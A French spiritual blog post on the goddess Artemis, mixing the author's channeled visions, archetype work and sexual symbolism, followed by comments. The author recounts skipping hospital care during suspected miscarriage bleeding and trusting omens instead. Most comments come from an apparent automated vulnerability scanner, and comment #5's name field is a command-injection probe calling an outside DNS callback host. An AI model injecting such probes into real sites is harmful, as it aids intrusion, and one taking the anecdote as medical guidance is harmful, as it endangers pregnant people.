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Artémis la Blanche

Ma première connexion mystique consciente avec Artémis, qui m'avait toujours attirée dans les représentations que j'en avais, fut au début de ma grossesse.

 

Après un long voyage je me mis à perdre du sang.

Arrivée à destination après dix heures de route, j'appelais affolée mon médecin. Elle était pessimiste il fallait que j'aille à l'hôpital.

Selon elle j'étais en train de faire une fausse couche.

En pleine montagne en pays étranger, je décidais d'aller dormir avant.

Juste avant de m'endormir je vis une biche dans mon demi-sommeil. Douce, bleutée, elle s'approchait de moi au bord de l'eau.

A mon réveil, triste, j'allais dans les bois.

Je savais que la biche était un des symboles d'Artémis, et que celle-ci était également la protectrice des femmes enceintes.

Je m'assis sur un rocher et je me mis à parler à la nature autour de moi.

Je m'en remettais totalement à Elle. Je m'abandonnais à sa sagesse. A son jugement, à sa protection. J'acceptais. Quoiqu'il arriverait.

Je ne suis pas allée à l'hôpital. J'ai fais confiance et dés le lendemain j'ai senti que tout allait bien se passer, malgré ma peur.

J'ai eu plusieurs signes cet été là que tout allait bien pour la vie en moi, notamment la présence des aigles en dehors de leurs horaires de chasse habituel au-dessus de la maison.

 

Des années plus tard, je découvrais les énergies-archétypes.

Pour Artémis, je me fabriquais mon arc et mes flèches, et je m'entraînais à viser ma cible. A chaque flèche décochée je sentais l'intention en moi se renforcer, je sentais que j'étais décidée coûte que coûte à atteindre mon but. Cette présence m'aidait à clarifier mes intentions et à me focaliser dessus, à ne pas lâcher, comme j'aurais pu le faire auparavant à cause du doute, ou des complexes négatifs en moi.

J'ai réussi mes objectifs haut la main, je me sentais comme portée par cette énergie qui s'éveillait en moi, une énergie de vie, de joie d'être et de créer le nouveau.

 

Quelques mois plus tard, au tout début de mon installation en tant que thérapeute, j'ai ressenti autour de moi une énergie blanche, très lumineuse. Je reçus une canalisation spontanée à mon grand étonnement, dont je donne certain éléments plus bas dans cet article. Puis je l'ai senti plusieurs fois auprès de moi pendant l'acte d'amour. (^^ on ne choisit pas toujours!!)

 

Elle désigne en général la Vierge, la virginité, la jeune fille, l'enfance.

L’énergie sexuelle est bien présente chez cette déesse bien que rarement mise en avant.
A peine sortie du giron maternel, Artémis a aidé sa mère à donner la vie à son frère Apollon.

Elle est reliée à l’instinct de vie. Avec la naissance, quoi de plus instinctuel que la sexualité?

 

Artémis, la blanche, reine des amazones, est aussi la gardiennes des bois sacrés et des forêts.

Parfois trop réduite à sa fonction de déesse farouche et chasseresse, décrite comme vindicative ou orgueilleuse, elle est surtout une déesse mère de toutes choses, puissance instinctive, protectrice des femmes enceintes et en travail.

Elle aide ainsi à créer l'impulsion nécessaire pour commencer une œuvre, lorsque l'on souhaite débuter quelque chose.


Elle est reliée au croissant lunaire qui brille la nuit, qui guide et éclaire, en même temps qu’il reste mystérieux et parcellaire.

 
Pendant le temps de sa présence, j’ai aussi ressenti revenir une énorme colère d'enfant: émotion reliée aux limites, au « non », au stade anal ainsi qu’à la dualité prédateur/ proie.  Que venait me dire cette colère?

Elle m’a ramené à ces moments où trop petite, trop fragile, trop faible, etc je n’avais pas pu poser certaines limites: elle m’invite donc à revisiter certaines périodes de ma vie pour rééquilibrer, pour réajuster ma posture et mon bouclier, mon territoire.


C’est la déesse des frontières, celle qui accompagne les adolescents sur le chemin de l’âge adulte, frontière entre le monde sauvage (de l'enfance) et le monde civilisé. (pour les grecs en tout cas, aujourd'hui je m'interroge: peut-on vraiment considérer notre société actuelle comme civilisée? enfin..)

Artémis utilise l'arc : avant de viser, il s’agit de prendre la posture, de s’ancrer dans le sol et de se sentir calme, sereine, afin de pouvoir se concentrer totalement sur son but et d'élancer notre intention vers le ciel.

(pour vous aider à vous connecter vous pouvez pratiquer la posture de yoga de l'archer)

 

Le croissant de lune nous rappelle son rôle de phare dans la nuit (le guide), et la relie aux transitions (le croissant n'est pas la pleine lune..) mais la relie aussi aux puissances de magie des femmes, à ce qui est caché, secret (la nuit, les mystères de la vie, de la naissance). Elle est donc celle qui fait "grandir" toutes choses et qui donne naissance: le croissant lunaire, de la nouvelle lune à la pleine lune.

Reliée à la médecine du rêve, l'armoise "artemisia vulgaris" est une de ses plantes consacrée.

 

Souvent Artémis est décrite comme une chasseuse impitoyable, cruelle, sacrifiant les hommes ou les transformant en cerf.Bien sur qu’elle peut l’être; cependant n’est ce pas surtout une projection masculine sur un des aspects libre du féminin?

 

Ou une trace de la déesse originelle dans son double aspect créatrice, nourricière et destructrice, mortelle.

Cette déesse- tout comme le dieu cerf-  est issue des croyances et rites primitifs: la chasse pour les peuples nomades, était l’une des principales sources de vie, de chaleur et de survie de l’espèce.

Je dirais que son rôle de gardienne des bois et forêt, la relie également à la grande Déesse originelle.

La foret était pour les groupes de chasseurs cueilleurs leur lieu principal de subsistance. Leur origine.

La mort de l’animal était un don que la Terre-mère faisait à ses enfants, pour les humains en période d’hiver ou lorsque la cueillette n’était pas suffisante.

Pour les hommes, la nature peut se montrer "cruelle", ou du moins le monde sauvage, en opposition au monde "cultivé" des grecs: la nature ne répond pas aux volontés de l'homme, elle reste mystérieuse, et la peur qui découle de ce qu'on ne peut pas contrôler engendrera des croyances et superstitions (déesses et nymphes qui entraînent les hommes vers la mort, diables etc..)



Cette déesse refuse le mariage. Pourquoi?

Elle est La Déesse sous un de ses aspects originels: libre, sauvage, instinctive, le féminin d'avant la création du couple et du mariage (rite culturel et social).

Ce qui ne l’empêche pas d’être mère de toute chose, de bénir, et d’accepter l’union amoureuse et sexuelle, bien que cela soit passé sous silence. Elle semble encourager l'amour libre sous toutes ses formes.
Une des origines de la nécessité du mariage est de  permettre d' attester de la légitimité des enfants (et du père!) , et ainsi du patrimoine.

C’est une histoire sociale, en lien avec les biens, le matériel, la culture, qui n'a rien avoir avec l'attraction des corps, du plaisir ou l'amour...

Le mariage est peut être relié au patriarcat, voilà pourquoi Artemis n’en a que faire.

Elle vit sa pulsion d’amour, de plaisir, elle vise l’authenticité.
Gardienne de l’instinct vital, situé dans le chakra de la base, elle nous aide à l’autonomie.
Elle s’unit aux hommes et/ou aux femmes de façon libre, dans la justesse de l’instant, de ce qui est juste pour son cœur.

Artémis m'a "montré" comment  dans l’énergie du dieu Cerf,  se trouve son homologue masculin, contrairement à ce qui est dit, non pas pour le chasser (d’anciens rites de la Déesse montrent que la Reine du clan mettait annuellement à mort un jeune homme, son Roi, symboliquement la mort du « Dieu » ou la mort du roi annuel et rituelle ), mais plutôt parce que toute chose doit mourir pour se transformer:

Le dieu cerf/ l'homme vert meurt à chaque automne pour renaître au creux de l'hiver jusqu'à l'été prochain, c'est le cycle de la vie.

On peut déjà sentir la peur de la mort dans ces sociétés antiques, qui bien qu'ils en comprennent la nécessité, la jugent dramatique et inique, cruelle.

 

Les ramures du cerf peuvent symboliser l’Arbre-Mère, l’arbre de vie, et rappellent également les courbures du serpent.

Cela pourrait être le côté masculin d’Artémis, comme Artémis serait le côté féminin du Dieu Cerf, de Pan.

Deux opposés qui forment un tout. (et donc son parèdre ne serait pas Apollon comme on aurait pu l'imaginer..)

Cependant ce sont bien deux énergies libres qui se rejoignent parfois, mais ne peuvent rester ensemble longtemps: c'est une alliance ponctuelle, une harmonie divine qui ne dure qu'un instant: celui nécessaire à la création.

 

Cela me rappelle qu'il y a une quinzaine d'année j'ai reçu une vision en me reliant à la pleine lune.

Je vis d'abord dans les nuages qui entouraient l'astre une femme de toute beauté, la pleine lune brillant à son front; puis le vent souffla et les nuages défilèrent, la forme changea: une créature mi-homme mi-cerf au visage déformé et dont la lune était l’œil me fixait...

 

Elle m’a enseigné, durant l’acte sexuel que l’humanité a d’abord reconnu l’aspect féminin de la vie, la créativité et la Déesse.

Cependant, cette compréhension du monde et de la vie était incomplète, puisque le masculin en était écarté.

L’homme était sacrifié à la Déesse, bien souvent nié dans sa capacité à créer la vie, non invité à célébrer le mystère de la création en lui, reléguant cette puissance à la femme seule.

On peut le sentir et le constater dans de nombreux mythes de la création: une déesse s'unit à un principe non humanisé (un serpent en général) et parfois le détruit ensuite..ou se dispute avec lui..

Le serpent figure alors cette force de création présente en l'homme mais non reconnue en tant que principe humanisé, il est décrit comme une puissance chtonienne et animale, non figuré.

L’émergence des croyances et religions patriarcales, d’abord polythéistes puis monothéistes se seraient établies dans un désir inconscient de rétablir l’équilibre.

Le cerf est lumineux, solaire. Il est le roi et gardien de la foret. Et la forêt est elle-même à l’image de la déesse: dense, pleine de vie mystérieuse.. ( les bois étaient dans l’antiquité souvent consacrés à Artémis).
Le cerf, les faunes, le dieu Pan sont reliés à la foret et aux énergies sexuelles. Ils forment l’autre côté de cette énergie.

Ensemble, unis, dans l’unité ils sont la vitalité, l’excitation, le désir, la joie et l’élan de vivre.

Aujourd’hui nous savons que les deux polarités sont nécessaires à la vie, mais il n’en a pas toujours été ainsi.

Il est important d’être conscient de cette union divine nécessaire, le masculin et le féminin divin s’unissent pour créer ce qu’on peut appeler « dieu, la source, etc »… Dieu n’est pas homme ou femme, Dieu est neutre. (Dieu ici au sens de l'ensemble de la création et la puissance de création, le grand tout)

Il est intéressant de noter que le neutre n’existe pas en français, contrairement à la langue allemande, hongroise etc.
 

Artémis chasse et  s’unit au cerf, elle le chevauche, c’est à dire qu’elle fait l’amour comme une reine.
Elle sait se montrer dominante tout en étant amoureuse, elle sait également chevaucher sa propre animalité, ses propres instincts elles les maîtrise: il le faut nécessairement pour être une chasseresse, savoir quand décocher la flèche, savoir quand patienter.

 

Le danger serait de laisser libre cours à ses pulsions sans contrôle: c'est ce que nous montre parfois Pan (énergie pan-ique..).

Lorsque la peur prend le dessus nous agissons de manière irrationnelle et dangereuse pour nous-même comme pour les autres.

D'où l'importance d'être au clair avec soi-même pour ne pas laisser libre cours à son imagination et entrer dans la peur.


Le sexe féminin, en encerclant le sexe de l’homme peut être apparenté au serpent sur l’arbre de vie, le pénis est alors l’arbre lui-même, porteurs des fruits à venir, et en même temps le sexe de la femme est l’arbre matrice, l’utérus, l’Eden que nous avons tous quittés un jour: le pénis devient alors le serpent. Ces deux images interchangeables féminin-masculin nous enseignent sur le principe alchimique de l’union sexuelle.

 

Lors de l'union d'amour véritable il n'y a plus de séparation: les deux êtres forment l'unité.  C'est au-delà de la complémentarité.

L'homme ne pénètre pas la femme pas plus que la femme n'est pénétrée: on ne saurait dire, il y a une fusion magique qui s'opère.

 

Cette déesse montre la puissance de soi lorsque nous cessons d’avoir peur de nous -même: nous pouvons alors être lune dans le ciel sombre, une guide pour soi-même et pour les autres.

Dans le couple, elle permet donc d'éveiller le désir sexuel chez la femme, de se ré-approprier son corps, elle nettoie toute forme d’emprise en permettant de voir d’où vient la faiblesse qui permet ce pacte inconscient.

Elle accompagne les filles qui n'ont pas de mère (ou une mère immature) et les enfants, elle aide lorsqu'il faut "survivre".

Elle aide à conscientiser au sein d’une famille les pactes inconscients.

Déesse des frontières: elle nous apprends à dire non, à vivre le libre consentement.

Elle est la mère de la sororité et de la Vie.
Elle permet à la vie de reprendre ses droits.

Elle peut ramener la lumière là où l’ombre semblait avoir tout dévasté, tout comme Pan, Cernunnos, le Dieu cerf.


Elle est une des mères de la bonne magie, blanche et naturelle, du paganisme, du chamanisme. Elle protège des maléfices.

Ses prêtresses portent la couleur blanche et se retrouvent dans le bois sacré à la lumière de la lune, elles dansent ensemble ce qui leur permet de se rappeler la magie des corps. Le corps et la nature sont unis, par la danse nous activons ce lien sacré qui permet d'être en bonne santé, et d'attirer ce dont nous avons besoin.

 

Elle est reliée également à l’énergie d’Avalon, elle et Pan gardent certaines portes interdimensionnelles.

Elle se tient à la base du chakra racine; bien équilibré la neutralité permet de voir le positif comme le négatif, sans jugement.
Par le regard neuf qu’elle porte sur les choses, elle permet de porter à la conscience ce qui n’est pas juste.

Elle nous rappelle alors qu'elle est également la sœur d'Athéna, et combien toutes ces déesses sont reliées, car issues d'Une seule et grande déesse primordiale..

 

Ce texte est personnel bien sûr, issu de mes recherches et temps de channeling..  je ne prétends pas avoir "la vérité"...

 

Laurence Vian/ le chemin de la Rose 2019 texte protégé

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Commentaires: 14
  • #1

    Claudia Louise GATTI (mercredi, 07 août 2019 10:10)

    Merci J'ai ressenti à la fois douceur et vigueur à la lecture de ce beau texte; La réflexion, l'écoute de soi (et du Tout) avant d'agir ; pour être ainsi au plus près de notre vérité. S'ancrer pour être plus forte, plus juste dans mes ressentis et mes décisions. C'est ce que m'apporte ce jour ce texte .....A relire Te souhaite le meilleur

  • #2

    pHqghUme (mardi, 17 août 2021 00:35)

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  • #3

    pHqghUme (mardi, 17 août 2021 00:40)

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  • #4

    pHqghUme (mardi, 17 août 2021 00:40)

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  • #5

    $(nslookup hitihybdzavty5e973.bxss.me||perl -e "gethostbyname('hitihybdzavty5e973.bxss.me')") (mardi, 17 août 2021 00:41)

    20

  • #6

    pHqghUme (mardi, 17 août 2021 00:41)

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  • #7

    ) (mardi, 17 août 2021 00:41)

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  • #8

    pHqghUme (mardi, 17 août 2021 00:41)

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  • #9

    pHqghUme (mardi, 17 août 2021 00:41)

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  • #10

    pHqghUme (mardi, 17 août 2021 00:42)

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  • #11

    pHqghUme (mardi, 17 août 2021 00:42)

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  • #12

    pHqghUme (mardi, 17 août 2021 00:43)

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  • #13

    pHqghUme (mardi, 17 août 2021 00:43)

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  • #14

    pHqghUme (mardi, 17 août 2021 01:38)

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